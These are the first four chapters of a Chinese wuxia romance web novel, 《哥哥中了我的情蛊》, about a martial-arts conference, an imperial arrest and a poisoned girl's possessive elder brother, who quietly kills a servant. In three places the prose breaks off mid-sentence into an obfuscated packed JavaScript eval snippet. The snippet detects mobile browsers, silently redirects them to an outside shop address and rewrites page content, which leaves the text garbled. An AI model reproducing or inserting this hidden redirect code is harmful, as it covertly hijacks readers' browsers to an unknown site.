《哥哥中了我的情蛊》
1. 第 1 章
寅时三刻的玉芝山,晓星欲灭,白日里丰姿绰然的山水树木只剩奇诡幽深的暗影。初春料峭的寒气在杏花枝头上凝结成一层白霜,好似下了一场雪。
玉芝山是璇玑书院的地界,现下各大门派汇聚在此,皆为了过几日的武林大会。前任武林盟主三个月前宣布卸任,江湖群龙无首,急需一位能服众的新领袖。
周潮将信纸放在烛火下点燃,将将烧尽时屋外忽然传来一阵急促的脚步声:“帮主,不好了!咱们院外围了一群来路不明之人,指名要见您!”
男人心头一跳,匆忙披衣出门,同时内力聚于耳目,探清院外和野林中有不下五十人潜行暗动之声,应是来者不善。
玉芝山有五座峰,按青蛟帮如今的地位是轮不到主峰的,只能屈居在天璇峰山脚。周围没有名门正派,此刻即便听到什么动静,恐怕也只会闭门不出,隔岸观火。
“把所有人都叫出来。”他回头吩咐了那名守夜弟子,才放慢脚步踱了出去。
院外众人皆是整齐划一的玄衣银面,腰间配精钢环首刀,呈扇形拱卫着最前方一名身材瘦小的黑衣人。面具完全遮盖住那人的脸,火光射过,额心的獬豸雕纹隐有兽影浮动。
“青蛟帮帮主周潮,跟我们走一趟吧。”
听声音竟是个年轻女子,周潮微微一愣,旋即仔细端详她右手的虎口,果然见到一层厚茧,只怕不是高手也是熟手。但他执掌青蛟帮数十年,怎会随随便便被朝廷鹰犬吓破胆,所以只是略一拱身:
“大人这是何意?青蛟帮虽不是什么名门大派,却也奉公守法不曾以武犯禁,何事劳烦宸卫司大驾?”
“你既认得出宸卫司,也不算冤枉。”
“大人说笑了,宸卫司乃天子眼线,谁人不知谁人不晓?”
女子冷哼一声从怀中摸出一卷素绢,手腕一抖,绢帛“唰”的一声展落,露出一张粗糙画像。
“此人从北朔来,一路乔装打扮不与人接触,很有可能是朔国的探子。一个时辰前,他身着夜行衣潜入贵帮,听说由帮主您亲自接待,不知你们二人所谈何事?”
周潮摇头:“周某早已睡下多时,从未见过此人。”
“是吗?”领头女子冷冷一笑,侧身一步,露出被重重暗卫裹在中间的人,“令郎可不是这么说的。”
男人脸色骤变。
人群中的青年似乎被谁推了一把,趔趄到火光下,神情讪讪的,目光在父亲脸上一触便仓皇避开,只敢盯着自己的鞋尖。
“……爹。”
“你都乱说了什么?!”
青年被这声厉喝震得肩头一颤,下意识往后缩了半步,脊背却抵上一把坚硬的刀鞘。身后的几名暗卫纹丝不动,甚至没有低头看他一眼,却有种冰冷沉重的压迫感。
他在这进退两难中沉默了几秒,终于握紧拳头,哑声道:
“……姑姑随太上皇被困朔国已有十余载,咱们青蛟帮虽不似过往昌盛,也能自食其力,何苦为了几句虚无缥缈的承诺,搭上身家性命呢?”
二十年前,青蛟帮帮主的掌上明珠周莲被微服私访的太上皇楚熠看中,入宫封妃荣宠有加,青蛟帮也跟着鸡犬升天,掌握了苏湖一带的盐运生意。彼时青蛟帮风头无两,连少林武当都要逊色几分。
然而十五年前楚熠大举北伐,御驾亲征渡江而战,急功冒进,一步步陷入朔国包围,于撤退之际中伏,一国之君被生擒,是为襄国的奇耻大辱。
而后先帝幼子楚赢即位,魏太后垂帘听政。十五年间,襄国休养生息未动一兵一卒,太上皇一脉的主战派日渐式微,青蛟帮自然也没了往日风光。他们本也不是靠武艺见长,没了楚熠这棵大树,想要东山再起简直是痴人说梦。
“逆子休得胡言!”周潮额角青筋直跳,欲要发作又硬生生压了回去,“大人明鉴,犬子因我续娶一事与我素有积怨,所言不可轻信!”
“你们的家务事我不感兴趣。”领头的女子右手放至刀柄,是拔刀的姿势,“我只负责拿人,你若配合方能少吃些苦头。”
仿佛收到了某种信号,她身侧的暗卫们不约而同地扣住刀柄,脚步微微错开,无声无息便成了合围之势。
周潮心知多说无益,事已至此,也唯有置之死地而后生:
“还不动手!”
这声暴喝令青蛟帮的弟子们如梦初醒,纷纷抽刀迎战。刀光乍起,周潮已欺身而上,他虽非武学宗师,但执掌帮派数十年,刀法已足够纯熟。
然而对方不退反进,环首刀斜斜撩起,以刁钻的角度架开来势,顺着他的刀脊一路滑下,腕子一翻,刀尖已如毒蛇吐信般点向他肋下软处。周潮没想到这女子年纪轻轻,出手却老辣至极,全然没有江湖比武的试探,刀刀都奔着要害,后背不由沁出冷汗。
不过十余招,他已渐感不支。青蛟帮的刀法刚猛有余而变化不足,对上高手,破绽便如筛子一般错漏百出。
“帮主退后!”
一声高喝从身后传来,与此同时,十余名弟子悄然变阵,各自从腰间解下一团乌沉沉的物事,手腕一扬,数张大网当空展开,如蛛网般向暗卫们兜头罩下。
那网乍看是寻常渔网,落在身上才知不对——网绳是浸过桐油的蛟筋所制,韧如牛皮,越挣越紧。网眼之间还缀着倒刺铁钩,稍一动作便嵌入衣料皮肉之中。
青蛟帮起家靠的就是这“蛟丝困龙阵”,在江河湖泊上无往不利。虽然在陆上施展威力打了折扣,却能让人一时半会儿无法脱身。他们很聪明,不与这帮暗卫正面交锋,只管拽着网绳游走,时不时用刀在网眼间刺上一记。
但宸卫司毕竟训练有素,短暂的慌乱后,几名未被困住的暗卫立刻回援,环首刀锋利无比,几下便将蛟筋网割开数道口子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211072|197389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>那领头的女子却不曾被网住,她身法极快,在网阵张开的一瞬便已掠至周潮身前,刀锋直逼咽喉。
周潮仓促格挡,右手虎口被震得发麻。他知道再缠斗下去必输无疑,左手猛然扯断腰间一枚竹筒的封塞,一团浓黑的烟雾顿时喷涌而出,呛得人涕泪横流。
趁众人慌乱之际,他翻墙掠入后院马厩,扯缰上马一气呵成。才纵马冲出几十丈,忽然远远望见一个白衣身影向此处走来。
那人没戴宸卫司的面具,年纪应该还很轻,约莫弱冠之龄,姿容之俊美却世所罕见——
如碧落孤悬月,似瑶岭千秋雪,不应为尘世中人。
白衣人看上去走得并不快,但转瞬就来到他面前。胯下骏马忽然悲嘶一声,前蹄发软,竟不肯再挪动半步。
下一秒,他撞进一双狭长凤目,只一眼,周潮便觉得自己从头到脚都被雪水灌透了——那双眼里没有杀意,甚至没有情绪,不似在看一个活人。
他本能挥刀防卫,白衣人却只漫不经心地伸出右手两指,以迅雷不及掩耳之势夹住刀身,“咔嚓”一声脆响,精钢竟如枯枝般折断!
断刃尚未落地,五指已成爪袭来,他只来得及侧头,便觉肩上一痛,竟是被活生生连皮带肉地折断了琵琶骨!
“啊!”
周潮惨叫一声摔下马背,左手死死压住断骨处,冷汗涔涔。痛入骨髓之际,神智反倒愈发清明——
这白衣人之所以不戴面具,恐怕是笃定他插翅难逃。
“大人!”
追上来的玄衣女子一见来人立即收刀,语调里难掩惊喜,连脚步都变得轻盈了几分,像只飞回主人掌心的雀鸟:“您怎么来了?”
青年对她的欣喜无动于衷,兀自拿出一方帕子仔细擦拭手上血迹:“我若不来,你险些误了大事。”
那声音宛如敲金击玉,霎是动听,却好像将她身上股轻盈劲儿抽走了,连脊背都不易察觉地塌陷几分:“……属下知罪。”
“回去自己领罚。”他扔掉帕子,意兴阑珊地看向地上蜷成一团的周潮,“先就近审问吧。武林大会之后,我亲自押送他回京。”
“是。”
她抬手,几名暗卫立刻上前将周潮拖走。待那痛呼呻吟声渐远,四周重归寂静,只剩他们二人立于夜色将褪的山院中。
微风裹着杏花香气拂过,枝头的霜露欲坠不坠。女子踟蹰着似乎有话想说,恰在此时,一名年纪不大的青衣小厮追着一条大黑狗匆匆从山道上跑来。她指尖一紧,环首刀已拔出寸许,却见青年微不可察地摇了摇头,于是重新收刀站定。
那小厮不过十五六岁的年纪,乍见路中站着个黑衣银面的古怪人物,心里多少有些发怵,但见自家主子安然立在不远处,才似吃了颗定心丸,气喘吁吁地跑上前禀报:
“少主,小姐和孟家公子去峰顶看日出了!”
2. 第 2 章
东方微白,群峰环绕之中,玉芝山的主峰天枢峰被万山托出,像一柄铁青色的巨剑直入云霄。上山的石阶依山势而凿,越往上越陡,稍不留神便要踩空,甚至需要手脚并用。
孟轻尘听见后面没动静了,于是停下脚步,回身去看她。
小姑娘应是累得狠了,正扶着石壁喘气。一张脸在熹微天光里白如凝脂,睫毛沾了晨雾湿漉漉地翘着,眼下泪痣似一滴将凝未凝的血泪。犹是娇憨未脱的年纪,瞳仁深处却漾着一抹不详的幽绿,顾盼间竟有勾魂摄魄之意。
他本想打趣她两句,话到嘴边却咽了回去,只觉喉间有些发紧。待回过神来,已蹲在她面前,声音不自觉放轻了几分:“上来,我背你。”
“不用,我自己能爬上去。”
“你同你哥置气,何必累着自己。”孟轻尘颇为无奈,“你又不会轻功,走两步喘三喘,照这速度,等你爬到山顶,太阳都落山了。”
“谁同他置气了……”她小声嘟囔,犹豫片刻,才不情不愿地趴了上去。
孟轻尘是江湖中大名鼎鼎的杀手组织无相楼的少主,现任掌令孟寒山是他的叔父,因为膝下无子从小便将他当做亲儿子培养。
孟寒山身患顽疾,时常与药王谷来往。他有意让自家侄子与燕家兄妹结交,所以每年冬天都会带孟轻尘在药王谷住上三个月。
二人在谷中打闹惯了,没什么男女大防的意识,燕溪让他背着也没觉得不妥。更何况这天枢峰奇险无比,不会武功的普通人想上去,恐怕只会落得个尸骨无存的下场。
无相楼的轻功说是独步天下也不为过,青年足尖在崖壁上堪堪一点,便如凭虚御风般掠出十数丈,所过之处碎石不惊、草木不动。
脚下是万丈深渊,山风呼啸灌入耳中,燕溪伏在他背上,却只觉平稳如静水行舟。孟轻尘的声音不疾不徐地传来,带了几分熟稔的揶揄:“你不打招呼就跟我出来,不怕你哥生气?”
燕溪哼了一声,眸中盈盈泛着水光,像只受了欺负的小动物:“他答应今天带我看日出的,却偷偷跑没影,怎么不怕我生气?”
“那怎么能算偷偷呢?”孟轻尘火上浇油,“我来的时候看见了,他径直往仙音坊去了。我可听说了,昨天燕伯伯带他去谈两派结亲的事,仙音坊坊主有意将自己的关门弟子许配给他呢。”
少女蔫蔫地趴在他背上:“我哥答应过我的,我没嫁人之前,他不会娶妻。”
说话间,温热软绵的呼吸拂过他耳畔,痒酥酥的,还能闻到她身上那股若有似无的幽香。孟轻尘只觉耳根发烫,喉结不由自主地滚了滚:“可你再过半年就及笄了,两年之内,燕伯伯定会为你寻到良配。”
“……我才不嫁呢。”
“没有中意的人?”孟轻尘偏过头,似笑非笑地看了她一眼,“我瞧那崆峒派的王公子追你追得挺紧的,上回你把人家脸上弄出那么多疙瘩,这回见了你还是屁颠屁颠跟着跑。”
燕溪嫌恶地皱起眉头:“他生得像头猪,也敢肖想本小姐?”
“那丁公子呢?”孟轻尘又问,“点苍首徒,还是你哥的好友,嫁过去知根知底,多安心呐。”
“他有口吃,像个闷葫芦似的,无趣得紧。”
孟轻尘闻言,语气忽然变得意味深长:“我倒是知道一个人,琴棋书画样样精通,武功也是一等一的好,家世更是显赫……你一定喜欢。”
燕溪脑中鬼使神差地掠过一张脸,等她意识到自己在想什么,顿时陷入一种臊热的慌乱中,几乎无地自容。那念头简直荒唐得可怕,她赶紧将它驱散,又怕孟轻尘窥出什么,垂下眼睫,故作懵懂地问:“……谁啊?”
“我啊。”
燕溪暗暗松了口气,可还没等这口气吐尽,她便回过味来,挥起拳头就往他头上招呼:“你好大的胆子,居然敢调戏我!放我下来!我要回家!”
他本是试探,没想到她反应这样激烈,心头蓦地有些发涩,面上却不表:“好妹妹,我不过说笑,你发这么大的火作甚?”
“谁是你妹妹!”少女愈发恼怒,“再敢胡乱攀亲,我让我哥割了你的舌头!”
青年眸中那点戏谑顿时散了个干净,分明是他天不亮爬起来陪她,哄了一路,结果她发起火来还是半点情面不留,忍不住声音也带了点愠气:
“张口闭口都是你哥,这般离不得他,又何必找我看日出?”
燕溪一时语塞,她确实是存了心思要气燕澈,才找孟轻尘带她上山,现下听他这样说,心底难免泛起几分歉意。可这世上能让她道歉的人,除了她哥,大概还没出生呢。
“你废话忒多,还不快走。”
山风依旧,此刻竟有些刺骨了,青年的表情不知是艳羡还是落寞,没再说话,脚下加快了速度,向着山顶掠去。
这天枢峰如此峭拔,峰顶却平阔如砥,方圆足有十余里。成片的野杏和山桃已吐了花苞,点点绯色缀在苍黄间,仿佛是哪家绣娘不慎打翻了针线篓,将胭脂色的珠子洒了满山。
二人足尖方落,天际那抹金芒倏然涨开,霞光如潮水般漫过峰顶,一轮红日破云而出,将万物镀上一层薄金。
她自小体弱长居药王谷之中,如此壮观的日出景象也是生平第一次得见,不由屏住呼吸,眼睛被山风吹得发酸也舍不得眨一下。
恰在此时,不知何处惊起几只黄鹂,扑棱棱飞向天际。孟轻尘望着她,心口也像是被什么振翅而起的东西撞了一下,跳个不停——
少女的皮肤本就白皙,阳光下一触即融的春雪似的,此刻被朝霞映上薄红,不施粉黛已胜过任何刻意装扮出的天香国色。
正出神之际,他心底忽然掠过一丝异样。这种异样是来自无相楼的敏锐,是多年刀尖舔血淬炼出的本能,驱使着他回头——
只见五步之外,一道白衣身影不知何时已悄然伫立。
那人的五官因为完美而生出令人畏惧的锐利,凤眸转合间,犹如冷电掠空,他竟起了一身鸡皮疙瘩。
少女似也察觉到了什么,顺着他的视线望去,笑意僵在唇角:“……哥。”
燕澈的表情十分平静,但此时此刻,那平静如同深水,内里暗流险峻,令人不由自主生出忌惮之意:
“过来。”
她其实心里有点害怕,可委屈和不满占了上风,打定主意要和他对着干,脚像生了根似的一动不动:“……我要在这儿看日出。”
青年眼底酝酿起晦涩的风暴
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211073|197389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“我再说一次,过来。”
孟轻尘察觉到气氛不对,上前一步挡在二人之间打圆场:“你干嘛这么凶?溪儿将行及笄之礼,她想见谁、想去哪儿,当由她自己做主。难不成她日后嫁了人,你还能管得到夫家去?”
那双凤眸冷冷扫过来:“怎么,你想娶她?”
孟轻尘挑了挑眉,坦然迎上他的目光:“没错。”
青年忽地一笑。
他的五官轮廓极深,这一笑换作平时,足以误尽天下怀春少女,但此刻却有种气定神闲的、让人不寒而栗的意味——
“你不配。”
话音未落,孟轻尘只觉眼前一花,一道掌风已切向他的咽喉。那明明是药王谷看家武学翻云手的起势,本是化解外力、以柔克刚的掌法,怎能如此之快?!
他仓促后仰,掌风擦着颈侧掠过,皮肤传来一阵火辣辣的刺痛,很明显对方倾注了内力在这一掌之中,竟是真的要取他性命!
他们二人相识数载,虽算不得莫逆之交,也有父辈的情分在,孟轻尘难以置信地看向他:“你疯了?!”
对方也似乎意识到不妥,招式不复方才那般凌厉,却仍将他压得毫无还手之力。无相楼以暗器轻功见长,这般赤手相搏,实非他所长,当下便心生退意。
“罢了罢了,就当你吃错药了。”孟轻尘瞅准时机抽身跃开,落在数丈之外的崖石上,故作轻松地朝燕溪扬了扬下巴,“溪儿妹妹,我改日再来找你。”
说罢,人已如惊鸿般掠下山崖,转瞬没入云海之中。
四下里忽然静得出奇,只能听到满树花苞被晨风吹得簌簌作响。没有孟轻尘挡在前面,青年也依然没有走过来,只是站在不远处沉默地看着她。
燕溪下意识地想移开目光,又觉得自己这样躲躲闪闪有些莫名其妙:明明是他失约在先,她有什么好怕的?!况且燕澈从去年开始就不打她屁股了,顶多罚她抄书、打几下手板心,又疼不死人。
于是鼓足勇气瞪回去,可他生得那么高,即便只是站在那里什么都不说,就有种居高临下的压迫感。尤其是那双眼睛,锋利、专注,似乎只要被他看上一眼,任何人都不会再有秘密。
她一时招架不了这样的对视,竟很没出息地打了个哆嗦,恼羞成怒之下反倒壮了胆,冲他吼道:“你看什么看?!”
“你怎么上的山?”
她被问了个措手不及,心里顿时有些发虚:“……我自己爬上来的。”
“好,”青年点头,转身就走,“那你便自己爬下去。”
这天枢峰万仞绝壁、云雾深锁,她自己如何下得去?
眼看他渐行渐远,燕溪终于慌了,刚要追上去,小腹深处突然涌起一阵熟悉的绞痛:“啊!”
——是血的味道。
她鼻子天生灵敏,已然闻到了那淡淡的铁锈味,这才想起今日该是来月事的日子。她身体素来受不得凉,在山顶吹了这许久的风,难怪痛得如此厉害。
不待少女叫第二声,燕澈已飞身折返,将她打横抱起。怀中人轻得像一片云,下巴尖尖地抵在他胸口,眼梢泛红带着点委屈的湿意,这幅模样,便是铁石心肠也要化了。
“哥,我肚子疼……”
3. 第 3 章
玉芝山主峰南边的小院是璇玑书院为药王谷安排的住所,院中一株杏树正值花期,花瓣薄如蝉翼,被山风一吹,似有千万只粉蝶振翅欲飞。
燕澈抱着她穿过月洞门时,正在廊下洒扫的婢女青萝手中笤帚一滞,怔怔望着二人,竟忘了避让。
“少主,小姐这是、这是怎么了?”
少女脸色苍白如纸,整个人蜷缩在兄长怀中,像欲融的霜雪,又像波心的残月,仿佛稍一用力就要碎去。
“备热水,给她换身衣服。”燕澈又将人往怀里拢了拢,“地龙再烧热些。”
青萝连声应着,一溜烟跑进内室张罗去了。不一会儿,另外两名婢女跑出来将燕溪扶进里间。绛紫帷帐垂落,隔出一方天地,只隐约听见铜盆里水声泠泠,还有极细的低语。
约莫一盏茶的工夫,青萝掀帘出来,冲他颔首,他这才抬步走了进去。
少女已换了身藕荷色寝衣,半靠在床头。青缎似的乌发散着,衬得巴掌大的小脸愈发单薄,几缕发丝垂落颈窝,沿着纤细的锁骨蜿蜒而下,被晨光勾勒出一道柔腻的弧线。
“哥......”她低低唤了一声,睫毛颤得厉害,是还在忍痛。
燕澈在床边坐下,长指扣住她的手腕,搭上脉门,全程一言不发,眉头却渐渐蹙紧。而后手掌探入被子贴上她小腹,徐徐渡入内力。
那感觉温热绵长,比汤婆子熨帖百倍,燕溪舒服地出了口气,却下意识想推开他的手:“哥,你不要浪费真气,我躺一会儿就好了……”
青年不语,只将内力又催厚了几分。
那股暖流在她体内游走,像初春解冻的溪水淌过冰封的河床,所过之处,酸胀渐消,连骨头缝里都泛起慵懒的酥麻。她不知不觉出了一层薄汗,畅快得浑身发轻,转过头,朝他露出今天第一个笑。
见状,他缓缓收回手:“不疼了?”
“嗯。”
“让我看看那朵花。”
燕溪乖顺地拨开衣襟,露出锁骨下一小片肌肤。那殷红的纹路约莫铜钱线粗细,花瓣脉络纤毫毕现,竟似丹青高手以朱砂一笔一笔描画上去的,衬着雪缎似的肌肤,妖冶得触目惊心。
此花名曰幽梦,只生于南疆瘴气最重的深谷之中,世间少有人识得。花开时艳若鲜血,美则美矣,却剧毒无比。中幽梦之毒者胸口会渐渐浮现血色花痕,初时不过米粒大小,盘踞心脉之上,稍有剧烈动作便心悸气短;待花痕蔓延至颈项,便会神思昏聩,如坠梦魇,分不清梦境与现实。
药王谷一众名医圣手遍寻古籍,仍对此毒束手无策。幽梦一旦入体便如跗骨之蛆,又偏偏扎根心脉,轻易动它不得,最后只寻出个用内力压制的方法。
中毒之人若没有内功根基,心脉既堵,真气便无从运转,就算有名师指点也练不成了;而原本就有内力之人,若想以自身真气疏导,一旦流经心口便如泥牛入海,有去无回,用不了多久就会难以为继。
所以,唯有旁人将内力渡入,方能持久压制毒性。
只是此毒年岁愈久愈发凶险,所需内力亦随之倍增。寻常习武之人不过练些拳脚皮毛,能修得内功已属难得,哪里经得起这种消耗?若想多撑些年岁,必须要有宗师级别的高手护持,方有一线生机。
因为此花吸收内力,民间便有诡异的传言。说是中毒者临终之际,那血痕会化作真花破体而出,瓣瓣带血,根根噬骨,艳得不似人间之物。若将此花生吞入腹,便能窃夺死者毕生修为,还能窥得一段他生前最难忘的记忆。
“近日有没有变化?”
她纤指一松,襟口又顺势滑落几寸。那朵幽梦便盘踞在一片嫩雪之上,已有碗口大小,五片花瓣舒展如活物,随着她轻浅的呼吸微微起伏。花心处一点浅淡的嫣红,如初绽的桃蕊,泛着稚嫩的粉。
“不知道,你看看。”
话音未落,青年已倾身过来,飞快地将她衣襟拢上。
那动作太急,甚至带了几分粗鲁的意味,仿佛她身上有什么洪水猛兽,令他避之不及。表情也变得很古怪,像是生气,又不全是。
但这一切也只是瞬息间的事,她再看过去时,那双凤眸已经恢复了冷然的平静。
“每日你要自己照镜子检查,不确定就叫青萝帮你看。下次我问你,不许再答不知。”
燕溪没接话,忽然探头去嗅他凑过来的手,片刻后狐疑道:“……哥,你手上怎么有血腥味?”
燕澈的指尖几不可察地一僵,旋即不动声色地抽回那只手:“是你的血。”
说罢,很自然地起身走到花梨木架旁,将双手浸入铜盆清洗。
“才不是呢。”少女小巧的鼻尖翕动着,像只嗅到异样气息的小兽,“我的血和别人味道不一样。”
中幽梦之毒者,血液里也会暗含花香,经久不散。而且她的嗅觉素来灵敏,能分辨出数十种草药的细微差异,不可能弄错。
青年垂眸不语,纤长的睫毛恰好掩住眼底那抹转瞬即逝的暗色。片刻后,擦干手走过来,将被角沿着她肩头仔细掖了一圈。
“好了,你该休息了。”
他说完并没有坐下,显然是要走的意思,燕溪一把拽住他的袖子,“不许跑!我还没问你,早上去哪儿了?”
她这般气冲冲地质问他,哪有半分长幼尊卑的规矩,分明是被宠得无法无天了。可他看着那双含嗔带怨的眸子,喉中那句“放肆”却怎么也吐不出去,只能无奈地叹了口气。
“去找爹聊过几日比武的事。”
“骗人!”少女杏眼圆睁,里头仿佛淬了火,“孟轻尘说你往天璇峰去了!”
闻言,燕澈眸光一凝:“他还说了什么?”
“还说你去仙音坊见祝云窈了!”她越说越气,像只被踩了尾巴的猫,“祝云窈取笑我,你不许和她好!”
上回她去璇玑书院游玩,途经一处幽静庭院,看到廊下石几上摆着一张古琴。四下无人看管,她以为只是寻常之物,便坐下拨弄了几声。谁知那琴声穿透力极强,竟引得隔壁院中一大片人循声而至。
祝云窈首当其冲,似笑非笑地问她师从何人,又叹这等名琴落在不通音律之人手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211074|197389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中,未免暴殄天物。直到丁家那木头开口替她解围,才悻悻作罢。
少女这厢如此激动,燕澈身上的紧绷感却倏然消散了,眼底的笑意像春冰乍破时涌动的暗流,一路漫至唇边,勾出一弯清浅的弧度。
“你自己疏于练琴,不许别人取笑?后来人家知道你是谁,不也登门赔罪了?”
燕溪冷哼:“那是她喜欢你,碍着你的面子才道歉,私底下还不知道有多刻薄呢!”
青年倒似是心情颇好,唇角勾着,指尖拂过她额前散落的碎发,将那几缕乌丝拢至耳后:“放心,我没空去找她。这几日我事忙,你若身子不适,便好生歇着。想出门也行,让青萝陪着,不许再找孟轻尘。”
“知道了……”
燕溪打了个呵欠,眼皮开始打架。今早爬山折腾了那么久,她其实早就乏了,把头往软枕里一埋,不多时,呼吸便渐渐绵长起来。
他在床边守了一会儿,确定她入睡,才起身掀帘,走出门去。
满生早已候在廊下。
他年方十六,生得清瘦伶俐,眉眼间很有几分机灵劲儿,平日里在谷中做采药的活计。
除此之外,满生驯犬也有一手,昨夜便是凭那条大黑狗找到了他。此番武林大会鱼龙混杂,燕溪屋中伺候的皆是婢女,她又将行及笄之礼,不便有外男出入,所以让满生做了门童,和狗日夜守在内院中。
“少主,天璇峰那边好像出了点事,谷主已经过去了,让我知会您一声。”
青年瞥了他一眼,唇角浮起一抹悠然的笑意,语调温和得不像话:“你随我来后院一趟。”
这时,拴在廊柱下的黑犬忽然躁动起来,铁链挣得哗哗作响。它素日见了燕澈便夹尾伏地,大气也不敢出,此刻却像嗅到了什么,一声声狂吠起来。
满生忙上前按住它的脑袋,压低声音呵斥:“嚷什么?小姐刚睡下。”
它向来最听他的话,强行压抑住了吠叫,浑身还是止不住地瑟瑟发抖,湿漉漉的眼睛死死盯着燕澈的背影。
满生没有多想,拍了拍它的脑袋,便起身往后院去了。
院中植着几竿修竹,日光透过竹叶洒落,在青石地面上筛出细碎的光斑。枯井边那株老梅虽已过了花期,枝头仍缀着几点残红,被风一吹,簌簌坠落。青年就立在井边,指尖拈着一瓣落梅,似在端详那淡去的颜色。
“少主。”他走过去站定。
燕澈拇指漫漫碾过那瓣落梅,看一缕殷红渐渐洇入指腹,才缓缓问:“你跟了我多久?”
满生思索片刻,如实答道:“十四岁起,应该满两年了。”
“两年啊……辛苦你了。”
青年笑起来,眉梢眼底俱是晴朗的和煦——满生跟了他这么久,难得见他笑得如此好看,一时竟移不开目光。
下一秒,颈间忽地被一只手扣住。
骨节碎裂声极轻极短,轻过残红坠地,短过竹影一摇。
满目光影如水倾覆,沉入无底的幽暗里。唯有那一点笑意,恍若隔世的春光,在少年熄灭的瞳孔中定格。
4. 第 4 章
三月初一,春和景明,群雄论剑之期已至。
除却主峰天枢峰外,其余四峰皆设了比武台。四峰脱颖而出的两名胜者,方有资格登上主峰,和八大派角逐武林盟主之位。
燕溪在房中歇了几日,父兄早出晚归,连满生也不见踪影,当真闷得发慌。今日天气晴好,她索性带着青萝溜出玉芝山,往附近的临川城去了。
临川素有才子之乡的美名,城中书肆林立,茶馆里吟咏之声不绝,便是酒楼的楹联,也常有名士真迹。武林大会引来四方豪杰,青石板路上儒衫与劲装交错,文士与刀客比肩,倒是别有一番热闹景象。
沿河而行,酒旗招展,饭香四溢,勾得人腹中馋虫直叫。燕溪循香望去,只见一座三层朱漆高楼临水而立——正是临川城里赫赫有名的澹月楼。
澹月楼的荷叶鲜鲤与牛杂汤是一绝,前朝宰相致仕还乡时曾在此小住,酒酣之际挥毫写下的“月澹风清”四字,至今仍悬于正堂之上,引得无数文人墨客慕名观赏。
一行四人被引至二楼临窗的雅座,燕溪朝青萝使了个眼色,青萝立时会意,悄声向伙计问了净房所在,便陪她往后院去了。
这澹月楼统共两栋楼,临街的前楼只接待食客,后楼却是新东家添建的,专供客商留宿。一道花墙隔开新旧,清静得像换了一重天地。
青萝肚子不适,燕溪净手出来不耐烦等,独自往回走,可后院回廊曲折,一不留神竟拐岔了方向。
不知行至何处,忽听走廊尽头的厢房内传来人声,一男一女,似在争执。
“你几时带我走?”女子的嗓音又尖又急,像被火燎过的丝帛,边缘都在发颤,“那老头子一时半会儿还断不了气,小东西又天天给我上眼药,那个家我是一天都待不下去了!”
“不是说好了么,待武林大会之后,再从长计议。”男子的声音低沉悦耳,咬字却带着几分生硬,不是襄国口音。
燕溪下意识停住脚步,往廊柱后缩了缩。
“武林大会之后?”女人冷笑一声,“现在各派乱作一团,谁有心思管咱们的事?此时不走,更待何时?!”
“过几日令郎还要登台比武,万一他子承父业,夺得武林盟主之位,夫人后半生便有了倚仗,岂不比跟着我颠沛流离来得幸福?”
“霍长流又不是我亲生的!”女人声音骤然拔高,旋即意识到不妥,又压低回去,“我嫁入霍家这些年,彼此都没有舒心的时候,等那老头子一去,难道他还会赡养我吗?”
燕溪一听“霍长流”这三个字,便知屋里的女人是谁了——
断水山庄庄主霍平澜的续弦,唐玥。
霍平澜是前任武林盟主,执掌武林十余载,三个月前忽染重疾,不得不辞去盟主之位,这才有了此次武林大会。燕溪虽久居药王谷,却也听父亲提起过此人,他与已故的前妻育有独子霍长流,继任武林盟主后续娶了唐玥来稳固势力。
彼时他三十有七,唐玥却才及笄不久,老夫少妻,貌合神离,成婚十五年始终未能诞下一儿半女。如今霍平澜缠绵病榻,霍长流执掌断水山庄,唐玥这个继母,处境自然尴尬。
“我居无定所,你跟着我只会受苦。不如留在霍家,待我下次到襄国,自会来寻你。”
“你——”女人像是被兜头浇了盆冷水,半晌才找回声音,“你说好带我回北朔,怎能把我一个人扔在这儿?!”
“唐夫人,”男子语气仍然客气,但透出股疏冷的味道,“实不相瞒,商队中并无您的位置。”
“好、好、好得很……”女人连说了三个好字,字字咬牙切齿,“你这朔狗,真当我是什么好骗的么?”
话音未落,“嗖”的一声细响,似暗器破空,擦着木壁钉了进去。
“唐夫人,你我有缘无分,何必执迷。”显然那暗器并未伤他分毫,男子的声音依旧不疾不徐,却自有一股令人脊背发凉的威压,“这儿是澹月楼,不是见血的地方。”
“你以为我不敢?”
“夫人尽管一试。”
屋内陡然静下来,像一根绷到极限的弦,稍一拨弄便要折断。好一阵子后女人才重新开口:“你等着,待我上报官府,将你这北朔细作下狱问罪!”
“到时只怕夫人晚节不保。”
“哼!”
房门猛地推开,一道绛紫色身影气冲冲地走了出来。那妇人不过三十出头,容貌艳丽,只是两颊涨得通红,眉宇间戾气太重,生生将容色压了下去。
